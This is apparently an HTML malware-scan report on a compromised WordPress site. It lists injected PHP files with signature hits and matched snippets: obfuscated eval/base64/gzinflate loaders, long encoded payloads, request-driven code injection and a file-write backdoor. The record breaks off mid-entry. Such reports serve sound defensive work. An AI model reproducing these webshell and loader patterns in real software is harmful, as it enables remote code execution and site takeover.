<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_73").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/UhCIByfdPAq.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:29:40</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:29:40</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_74" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_74").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/interactivity-api/interactivity-api/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:45</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:45</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_75" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'soDfHdw/KKyA8tDerlkxsCZlEGvks3bh3wHe/xh7f+dXf0l64wnufe1u0yna92hPOUuf7wjO+l2ctmfUleRxrx+u2kmrhLFvfcyR3u/kdexDHqydPcxLn/2dS8+bX+oSN46B3qxbl8tGvO74TZfZiMyY9pxZv3FbZ9vvvM9oP6rbMjWlEqzfFtSA31MTOj0S/Zzn/hO1so/vYlzQEoXUOtIX2CzX+CMWHE4NSvACiSL2c80Wdl/TqK7rtpzUTDp/AZGfKTYDsT2u35AETKxNQBGEIHcMsn4ZYQI9czWmhlj9Vcc4+y/vYsOEzsWugQPloIM9pJu7H22bWQPpX9GA/3Hta8mPs58zuWxv9VZrWqa1dkJoFu2IerfLXb6XkRfOy//YsO/8GtZ+p/ebkOzrIUiRxWQ1c10bxqedaB9DtjKnMtEvEdhjYtO+bq6n4rfTdG6nQX1kaBagOoQGYDqGLykNsifCZ+ZEPinr7FczO7rJYcdphnt...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$qSaXe</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LAVe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_75").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/LRBfCXwWtUu.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:51:10</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:51:10</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_76" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_76").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/IXR/author_template_1769473402.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:23:44</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:23:44</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_77" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_77").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/iPasdMv8jTR.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:21:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:21:49</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_78" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_78").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/MHor9OhNFLJ.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:12:34</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:12:34</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_79" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_79").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/NKRIt1wiO3U.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:51:10</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:51:10</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_80" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
